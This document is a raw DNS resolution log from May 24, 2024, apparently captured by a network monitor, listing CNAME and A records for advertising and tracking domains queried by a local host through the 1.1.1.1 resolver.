May 24, 2024 00:35:05.744395971 CEST	1.1.1.1	192.168.2.6	0xc33a	No error (0)	creativecdn.com		185.184.8.90	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:05.744410038 CEST	1.1.1.1	192.168.2.6	0x42cd	No error (0)	ssp.disqus.com	zeta-ssp-385516103.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:05.744410038 CEST	1.1.1.1	192.168.2.6	0x42cd	No error (0)	zeta-ssp-385516103.us-east-1.elb.amazonaws.com		34.192.68.138	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:05.744410038 CEST	1.1.1.1	192.168.2.6	0x42cd	No error (0)	zeta-ssp-385516103.us-east-1.elb.amazonaws.com		34.235.239.70	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:05.744410038 CEST	1.1.1.1	192.168.2.6	0x42cd	No error (0)	zeta-ssp-385516103.us-east-1.elb.amazonaws.com		34.200.71.144	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:05.744410038 CEST	1.1.1.1	192.168.2.6	0x42cd	No error (0)	zeta-ssp-385516103.us-east-1.elb.amazonaws.com		18.213.72.149	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:05.744410038 CEST	1.1.1.1	192.168.2.6	0x42cd	No error (0)	zeta-ssp-385516103.us-east-1.elb.amazonaws.com		54.175.65.220	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:05.744410038 CEST	1.1.1.1	192.168.2.6	0x42cd	No error (0)	zeta-ssp-385516103.us-east-1.elb.amazonaws.com		54.197.117.43	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:05.744410038 CEST	1.1.1.1	192.168.2.6	0x42cd	No error (0)	zeta-ssp-385516103.us-east-1.elb.amazonaws.com		34.207.17.47	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:05.744410038 CEST	1.1.1.1	192.168.2.6	0x42cd	No error (0)	zeta-ssp-385516103.us-east-1.elb.amazonaws.com		54.209.21.104	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:05.744438887 CEST	1.1.1.1	192.168.2.6	0x2511	No error (0)	ssp.disqus.com	zeta-ssp-385516103.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:05.744452000 CEST	1.1.1.1	192.168.2.6	0x4c76	No error (0)	ganon.yahoo.com	fam-geo-atsv2.prod.media.g03.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:05.751089096 CEST	1.1.1.1	192.168.2.6	0x6934	No error (0)	ganon.yahoo.com	fam-geo-atsv2.prod.media.g03.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:05.751089096 CEST	1.1.1.1	192.168.2.6	0x6934	No error (0)	fam-geo-atsv2.prod.media.g03.yahoodns.net		188.125.72.139	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:05.884875059 CEST	1.1.1.1	192.168.2.6	0x77db	No error (0)	widget.us.criteo.com	widget.us5.vip.prod.criteo.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:05.884875059 CEST	1.1.1.1	192.168.2.6	0x77db	No error (0)	widget.us5.vip.prod.criteo.com		74.119.117.16	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:05.884893894 CEST	1.1.1.1	192.168.2.6	0xeb1c	No error (0)	pm.w55c.net	cdn.w55c.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:05.884905100 CEST	1.1.1.1	192.168.2.6	0xd085	No error (0)	widget.us.criteo.com	widget.us5.vip.prod.criteo.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:05.884917021 CEST	1.1.1.1	192.168.2.6	0xee02	No error (0)	pm.w55c.net	cdn.w55c.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:05.884917021 CEST	1.1.1.1	192.168.2.6	0xee02	No error (0)	cdn.w55c.net		3.78.151.12	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:05.884917021 CEST	1.1.1.1	192.168.2.6	0xee02	No error (0)	cdn.w55c.net		3.67.59.237	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:05.884917021 CEST	1.1.1.1	192.168.2.6	0xee02	No error (0)	cdn.w55c.net		52.59.104.153	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:05.884917021 CEST	1.1.1.1	192.168.2.6	0xee02	No error (0)	cdn.w55c.net		18.194.143.242	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:05.884917021 CEST	1.1.1.1	192.168.2.6	0xee02	No error (0)	cdn.w55c.net		52.59.78.67	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:05.884917021 CEST	1.1.1.1	192.168.2.6	0xee02	No error (0)	cdn.w55c.net		3.79.77.2	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:05.924789906 CEST	1.1.1.1	192.168.2.6	0xfcfd	No error (0)	match.prod.bidr.io		34.255.48.153	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:05.924789906 CEST	1.1.1.1	192.168.2.6	0xfcfd	No error (0)	match.prod.bidr.io		52.48.246.250	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:05.924789906 CEST	1.1.1.1	192.168.2.6	0xfcfd	No error (0)	match.prod.bidr.io		34.241.112.102	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:05.924789906 CEST	1.1.1.1	192.168.2.6	0xfcfd	No error (0)	match.prod.bidr.io		52.210.242.228	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:05.924789906 CEST	1.1.1.1	192.168.2.6	0xfcfd	No error (0)	match.prod.bidr.io		34.246.206.6	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:05.924789906 CEST	1.1.1.1	192.168.2.6	0xfcfd	No error (0)	match.prod.bidr.io		34.249.65.85	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:05.924789906 CEST	1.1.1.1	192.168.2.6	0xfcfd	No error (0)	match.prod.bidr.io		34.254.84.230	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:05.924789906 CEST	1.1.1.1	192.168.2.6	0xfcfd	No error (0)	match.prod.bidr.io		34.240.216.83	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:06.507008076 CEST	1.1.1.1	192.168.2.6	0xc74f	No error (0)	image4.pubmatic.com	image4-v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:06.507008076 CEST	1.1.1.1	192.168.2.6	0xc74f	No error (0)	image4-v2.pubmnet.com	spug-lhrc.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:06.507008076 CEST	1.1.1.1	192.168.2.6	0xc74f	No error (0)	spug-lhrc.pubmnet.com		185.64.190.81	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:06.507021904 CEST	1.1.1.1	192.168.2.6	0x5bc1	No error (0)	image4.pubmatic.com	image4-v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:06.507021904 CEST	1.1.1.1	192.168.2.6	0x5bc1	No error (0)	image4-v2.pubmnet.com	spug-amsfpairbc.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:06.924508095 CEST	1.1.1.1	192.168.2.6	0x1026	No error (0)	uipus.semasio.net		50.57.31.206	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:07.482938051 CEST	1.1.1.1	192.168.2.6	0xa227	No error (0)	rtb.mfadsrvr.com	pool.dorpat.iponweb.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:07.482938051 CEST	1.1.1.1	192.168.2.6	0xa227	No error (0)	pool.dorpat.iponweb.net	dorpat.geo.iponweb.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:07.482938051 CEST	1.1.1.1	192.168.2.6	0xa227	No error (0)	dorpat.geo.iponweb.net	elb-aws-fr-dorpat-283474803.eu-central-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:07.482938051 CEST	1.1.1.1	192.168.2.6	0xa227	No error (0)	elb-aws-fr-dorpat-283474803.eu-central-1.elb.amazonaws.com		3.121.157.160	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:07.482938051 CEST	1.1.1.1	192.168.2.6	0xa227	No error (0)	elb-aws-fr-dorpat-283474803.eu-central-1.elb.amazonaws.com		52.29.4.131	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:07.482938051 CEST	1.1.1.1	192.168.2.6	0xa227	No error (0)	elb-aws-fr-dorpat-283474803.eu-central-1.elb.amazonaws.com		18.197.7.178	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:07.482938051 CEST	1.1.1.1	192.168.2.6	0xa227	No error (0)	elb-aws-fr-dorpat-283474803.eu-central-1.elb.amazonaws.com		3.123.208.101	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:07.482938051 CEST	1.1.1.1	192.168.2.6	0xa227	No error (0)	elb-aws-fr-dorpat-283474803.eu-central-1.elb.amazonaws.com		18.157.153.25	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:07.482938051 CEST	1.1.1.1	192.168.2.6	0xa227	No error (0)	elb-aws-fr-dorpat-283474803.eu-central-1.elb.amazonaws.com		18.158.184.198	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:07.490227938 CEST	1.1.1.1	192.168.2.6	0x248b	No error (0)	rtb.mfadsrvr.com	pool.dorpat.iponweb.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:07.490227938 CEST	1.1.1.1	192.168.2.6	0x248b	No error (0)	pool.dorpat.iponweb.net	dorpat.geo.iponweb.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:07.490227938 CEST	1.1.1.1	192.168.2.6	0x248b	No error (0)	dorpat.geo.iponweb.net	elb-aws-fr-dorpat-283474803.eu-central-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:08.555392981 CEST	1.1.1.1	192.168.2.6	0x33a2	No error (0)	um.simpli.fi		35.204.158.49	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:08.555392981 CEST	1.1.1.1	192.168.2.6	0x33a2	No error (0)	um.simpli.fi		35.204.74.118	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:08.555392981 CEST	1.1.1.1	192.168.2.6	0x33a2	No error (0)	um.simpli.fi		34.91.62.186	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:08.557682037 CEST	1.1.1.1	192.168.2.6	0xf1e7	No error (0)	securepubads.g.doubleclick.net			65	IN (0x0001)	false
May 24, 2024 00:35:08.557703972 CEST	1.1.1.1	192.168.2.6	0x1a6d	No error (0)	securepubads.g.doubleclick.net		172.217.18.2	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:08.557713032 CEST	1.1.1.1	192.168.2.6	0xc52c	No error (0)	mwzeom.zeotap.com		172.67.40.173	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:08.557713032 CEST	1.1.1.1	192.168.2.6	0xc52c	No error (0)	mwzeom.zeotap.com		104.22.51.98	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:08.557713032 CEST	1.1.1.1	192.168.2.6	0xc52c	No error (0)	mwzeom.zeotap.com		104.22.50.98	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:08.557729959 CEST	1.1.1.1	192.168.2.6	0xd4e7	No error (0)	bcbolt446c5271-a.akamaihd.net	bcbolt446c5271-a.akamaihd.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:08.557738066 CEST	1.1.1.1	192.168.2.6	0x5740	No error (0)	mwzeom.zeotap.com			65	IN (0x0001)	false
May 24, 2024 00:35:08.557746887 CEST	1.1.1.1	192.168.2.6	0x71ab	No error (0)	sb.scorecardresearch.com		18.244.18.122	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:08.557746887 CEST	1.1.1.1	192.168.2.6	0x71ab	No error (0)	sb.scorecardresearch.com		18.244.18.32	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:08.557746887 CEST	1.1.1.1	192.168.2.6	0x71ab	No error (0)	sb.scorecardresearch.com		18.244.18.38	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:08.557746887 CEST	1.1.1.1	192.168.2.6	0x71ab	No error (0)	sb.scorecardresearch.com		18.244.18.27	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:08.557750940 CEST	1.1.1.1	192.168.2.6	0x7f49	No error (0)	bcbolt446c5271-a.akamaihd.net	bcbolt446c5271-a.akamaihd.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:08.582182884 CEST	1.1.1.1	192.168.2.6	0xc8b	No error (0)	tb.pbs.yahoo.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:08.582182884 CEST	1.1.1.1	192.168.2.6	0xc8b	No error (0)	edge.gycpi.b.yahoodns.net		87.248.119.251	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:08.582182884 CEST	1.1.1.1	192.168.2.6	0xc8b	No error (0)	edge.gycpi.b.yahoodns.net		87.248.119.252	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:08.584399939 CEST	1.1.1.1	192.168.2.6	0x1597	No error (0)	static.criteo.net	static.nl3.vip.prod.criteo.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:08.584412098 CEST	1.1.1.1	192.168.2.6	0x784c	No error (0)	static.criteo.net	static.nl3.vip.prod.criteo.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:08.584412098 CEST	1.1.1.1	192.168.2.6	0x784c	No error (0)	static.nl3.vip.prod.criteo.net		178.250.1.3	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:08.584422112 CEST	1.1.1.1	192.168.2.6	0x9d88	No error (0)	csync.loopme.me	envoy-hl.envoy-csync1.core-b8mf.ov1o.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:08.584431887 CEST	1.1.1.1	192.168.2.6	0xbe22	No error (0)	csync.loopme.me	envoy-hl.envoy-csync1.core-b8mf.ov1o.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:08.584431887 CEST	1.1.1.1	192.168.2.6	0xbe22	No error (0)	envoy-hl.envoy-csync1.core-b8mf.ov1o.com		35.214.200.71	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:08.584431887 CEST	1.1.1.1	192.168.2.6	0xbe22	No error (0)	envoy-hl.envoy-csync1.core-b8mf.ov1o.com		35.214.131.164	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:08.584431887 CEST	1.1.1.1	192.168.2.6	0xbe22	No error (0)	envoy-hl.envoy-csync1.core-b8mf.ov1o.com		35.214.154.234	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:08.584431887 CEST	1.1.1.1	192.168.2.6	0xbe22	No error (0)	envoy-hl.envoy-csync1.core-b8mf.ov1o.com		35.214.244.63	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:08.584431887 CEST	1.1.1.1	192.168.2.6	0xbe22	No error (0)	envoy-hl.envoy-csync1.core-b8mf.ov1o.com		35.214.244.87	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:08.584431887 CEST	1.1.1.1	192.168.2.6	0xbe22	No error (0)	envoy-hl.envoy-csync1.core-b8mf.ov1o.com		35.214.154.65	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:08.584431887 CEST	1.1.1.1	192.168.2.6	0xbe22	No error (0)	envoy-hl.envoy-csync1.core-b8mf.ov1o.com		35.214.185.183	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:08.584431887 CEST	1.1.1.1	192.168.2.6	0xbe22	No error (0)	envoy-hl.envoy-csync1.core-b8mf.ov1o.com		35.214.240.223	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:08.584441900 CEST	1.1.1.1	192.168.2.6	0xbfcc	No error (0)	cm-supply-web.gammaplatform.com		35.186.154.107	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:08.584451914 CEST	1.1.1.1	192.168.2.6	0x7a7c	No error (0)	cm.adgrx.com	rtb.adgrx.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:08.584451914 CEST	1.1.1.1	192.168.2.6	0x7a7c	No error (0)	rtb.adgrx.com		54.217.19.5	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:08.584460974 CEST	1.1.1.1	192.168.2.6	0x4ee3	No error (0)	ad.turn.com	ad.turn.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:08.588310003 CEST	1.1.1.1	192.168.2.6	0xac7a	No error (0)	live.primis.tech	d2wcz8sc48ztgm.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:08.588326931 CEST	1.1.1.1	192.168.2.6	0x3c23	No error (0)	cm.adgrx.com	rtb.adgrx.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:08.588335991 CEST	1.1.1.1	192.168.2.6	0x2bf4	No error (0)	cdn.taboola.com	tls13.taboola.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:08.588345051 CEST	1.1.1.1	192.168.2.6	0xbbdb	No error (0)	cdn.taboola.com	tls13.taboola.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:08.588345051 CEST	1.1.1.1	192.168.2.6	0xbbdb	No error (0)	tls13.taboola.map.fastly.net		151.101.129.44	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:08.588345051 CEST	1.1.1.1	192.168.2.6	0xbbdb	No error (0)	tls13.taboola.map.fastly.net		151.101.193.44	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:08.588345051 CEST	1.1.1.1	192.168.2.6	0xbbdb	No error (0)	tls13.taboola.map.fastly.net		151.101.65.44	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:08.588345051 CEST	1.1.1.1	192.168.2.6	0xbbdb	No error (0)	tls13.taboola.map.fastly.net		151.101.1.44	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:08.588354111 CEST	1.1.1.1	192.168.2.6	0xe0f2	No error (0)	live.primis.tech	d2wcz8sc48ztgm.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:08.588354111 CEST	1.1.1.1	192.168.2.6	0xe0f2	No error (0)	d2wcz8sc48ztgm.cloudfront.net		13.32.99.104	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:08.588354111 CEST	1.1.1.1	192.168.2.6	0xe0f2	No error (0)	d2wcz8sc48ztgm.cloudfront.net		13.32.99.61	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:08.588354111 CEST	1.1.1.1	192.168.2.6	0xe0f2	No error (0)	d2wcz8sc48ztgm.cloudfront.net		13.32.99.81	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:08.588354111 CEST	1.1.1.1	192.168.2.6	0xe0f2	No error (0)	d2wcz8sc48ztgm.cloudfront.net		13.32.99.20	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:08.588381052 CEST	1.1.1.1	192.168.2.6	0x9675	No error (0)	ad.turn.com	ad.turn.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:08.588390112 CEST	1.1.1.1	192.168.2.6	0xb190	No error (0)	ipac.ctnsnet.com		35.186.193.173	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:08.590842962 CEST	1.1.1.1	192.168.2.6	0x8198	No error (0)	match.sharethrough.com	match-eu-central-1-ecs.sharethrough.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:08.590853930 CEST	1.1.1.1	192.168.2.6	0xbc7	No error (0)	match.sharethrough.com	match-eu-central-1-ecs.sharethrough.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:08.590853930 CEST	1.1.1.1	192.168.2.6	0xbc7	No error (0)	match-eu-central-1-ecs.sharethrough.com		18.192.200.108	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:08.590853930 CEST	1.1.1.1	192.168.2.6	0xbc7	No error (0)	match-eu-central-1-ecs.sharethrough.com		18.194.142.248	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:08.590853930 CEST	1.1.1.1	192.168.2.6	0xbc7	No error (0)	match-eu-central-1-ecs.sharethrough.com		18.197.199.178	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:08.590853930 CEST	1.1.1.1	192.168.2.6	0xbc7	No error (0)	match-eu-central-1-ecs.sharethrough.com		18.159.229.46	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:08.590853930 CEST	1.1.1.1	192.168.2.6	0xbc7	No error (0)	match-eu-central-1-ecs.sharethrough.com		3.67.74.124	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:08.590853930 CEST	1.1.1.1	192.168.2.6	0xbc7	No error (0)	match-eu-central-1-ecs.sharethrough.com		18.195.126.233	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:08.590853930 CEST	1.1.1.1	192.168.2.6	0xbc7	No error (0)	match-eu-central-1-ecs.sharethrough.com		52.29.54.89	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:08.590853930 CEST	1.1.1.1	192.168.2.6	0xbc7	No error (0)	match-eu-central-1-ecs.sharethrough.com		18.158.126.136	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:08.596877098 CEST	1.1.1.1	192.168.2.6	0x465e	No error (0)	tb.pbs.yahoo.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:09.258517981 CEST	1.1.1.1	192.168.2.6	0xe20b	No error (0)	capi.connatix.com	capi.connatix.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:09.258531094 CEST	1.1.1.1	192.168.2.6	0xc826	No error (0)	ce.lijit.com	ce-ew1.lijit.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:09.258531094 CEST	1.1.1.1	192.168.2.6	0xc826	No error (0)	ce-ew1.lijit.com	raptor-prd-ew1-alb-2127381300.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:09.258531094 CEST	1.1.1.1	192.168.2.6	0xc826	No error (0)	raptor-prd-ew1-alb-2127381300.eu-west-1.elb.amazonaws.com		54.171.72.23	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:09.258531094 CEST	1.1.1.1	192.168.2.6	0xc826	No error (0)	raptor-prd-ew1-alb-2127381300.eu-west-1.elb.amazonaws.com		54.76.246.110	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:09.258531094 CEST	1.1.1.1	192.168.2.6	0xc826	No error (0)	raptor-prd-ew1-alb-2127381300.eu-west-1.elb.amazonaws.com		52.17.69.168	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:09.258531094 CEST	1.1.1.1	192.168.2.6	0xc826	No error (0)	raptor-prd-ew1-alb-2127381300.eu-west-1.elb.amazonaws.com		63.33.250.172	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:09.258531094 CEST	1.1.1.1	192.168.2.6	0xc826	No error (0)	raptor-prd-ew1-alb-2127381300.eu-west-1.elb.amazonaws.com		52.16.234.114	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:09.258531094 CEST	1.1.1.1	192.168.2.6	0xc826	No error (0)	raptor-prd-ew1-alb-2127381300.eu-west-1.elb.amazonaws.com		52.19.204.214	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:09.258531094 CEST	1.1.1.1	192.168.2.6	0xc826	No error (0)	raptor-prd-ew1-alb-2127381300.eu-west-1.elb.amazonaws.com		18.203.106.185	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:09.258531094 CEST	1.1.1.1	192.168.2.6	0xc826	No error (0)	raptor-prd-ew1-alb-2127381300.eu-west-1.elb.amazonaws.com		54.72.69.177	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:09.258541107 CEST	1.1.1.1	192.168.2.6	0x1107	No error (0)	capi.connatix.com	capi.connatix.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:09.258549929 CEST	1.1.1.1	192.168.2.6	0x6ff1	No error (0)	ce.lijit.com	ce-ew1.lijit.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:09.258549929 CEST	1.1.1.1	192.168.2.6	0x6ff1	No error (0)	ce-ew1.lijit.com	raptor-prd-ew1-alb-2127381300.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:10.209079027 CEST	1.1.1.1	192.168.2.6	0x6a18	No error (0)	sync.go.sonobi.com	iad-2-sync.go.sonobi.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:10.209079027 CEST	1.1.1.1	192.168.2.6	0x6a18	No error (0)	iad-2-sync.go.sonobi.com		69.166.1.67	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:10.209079027 CEST	1.1.1.1	192.168.2.6	0x6a18	No error (0)	iad-2-sync.go.sonobi.com		69.166.1.34	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:10.209079027 CEST	1.1.1.1	192.168.2.6	0x6a18	No error (0)	iad-2-sync.go.sonobi.com		69.166.1.35	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:10.209079027 CEST	1.1.1.1	192.168.2.6	0x6a18	No error (0)	iad-2-sync.go.sonobi.com		69.166.1.66	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:10.209091902 CEST	1.1.1.1	192.168.2.6	0x7e8a	No error (0)	sync.go.sonobi.com	iad-2-sync.go.sonobi.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:11.334903002 CEST	1.1.1.1	192.168.2.6	0x18a7	No error (0)	inv-nets.admixer.net		116.202.167.155	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:11.341238976 CEST	1.1.1.1	192.168.2.6	0x4026	No error (0)	cs.media.net		2.19.100.239	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:11.345768929 CEST	1.1.1.1	192.168.2.6	0xb0a6	No error (0)	ps.eyeota.net		3.121.27.153	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:11.498275995 CEST	1.1.1.1	192.168.2.6	0xc7bd	No error (0)	simage2.pubmatic.com	simage2v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:11.498275995 CEST	1.1.1.1	192.168.2.6	0xc7bd	No error (0)	simage2v2.pubmnet.com	pug-lhr-bc.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:11.498275995 CEST	1.1.1.1	192.168.2.6	0xc7bd	No error (0)	pug-lhr-bc.pubmnet.com		185.64.191.210	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:11.500346899 CEST	1.1.1.1	192.168.2.6	0x6f6	No error (0)	simage2.pubmatic.com	simage2v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:11.500346899 CEST	1.1.1.1	192.168.2.6	0x6f6	No error (0)	simage2v2.pubmnet.com	pug-lhr-bc.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:11.500358105 CEST	1.1.1.1	192.168.2.6	0xb4f8	No error (0)	s.amazon-adsystem.com		209.54.182.161	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:11.502384901 CEST	1.1.1.1	192.168.2.6	0xf7b7	No error (0)	eb2.3lift.com	eu-eb2.3lift.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:11.502393961 CEST	1.1.1.1	192.168.2.6	0xf0f6	No error (0)	eb2.3lift.com	eu-eb2.3lift.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:11.502393961 CEST	1.1.1.1	192.168.2.6	0xf0f6	No error (0)	eu-eb2.3lift.com		76.223.111.18	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:11.502393961 CEST	1.1.1.1	192.168.2.6	0xf0f6	No error (0)	eu-eb2.3lift.com		13.248.245.213	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:11.515588045 CEST	1.1.1.1	192.168.2.6	0xa23c	No error (0)	image2.pubmatic.com	image2v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:11.515588045 CEST	1.1.1.1	192.168.2.6	0xa23c	No error (0)	image2v2.pubmnet.com	pug-ams-bc.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:11.515588045 CEST	1.1.1.1	192.168.2.6	0xa23c	No error (0)	pug-ams-bc.pubmnet.com		198.47.127.205	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:11.515599012 CEST	1.1.1.1	192.168.2.6	0x5525	No error (0)	cm.g.doubleclick.net		142.250.185.130	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:11.515608072 CEST	1.1.1.1	192.168.2.6	0x5604	No error (0)	pixel.rubiconproject.com	pixel.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:11.515618086 CEST	1.1.1.1	192.168.2.6	0x5751	No error (0)	ads.pubmatic.com	pubmatic.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
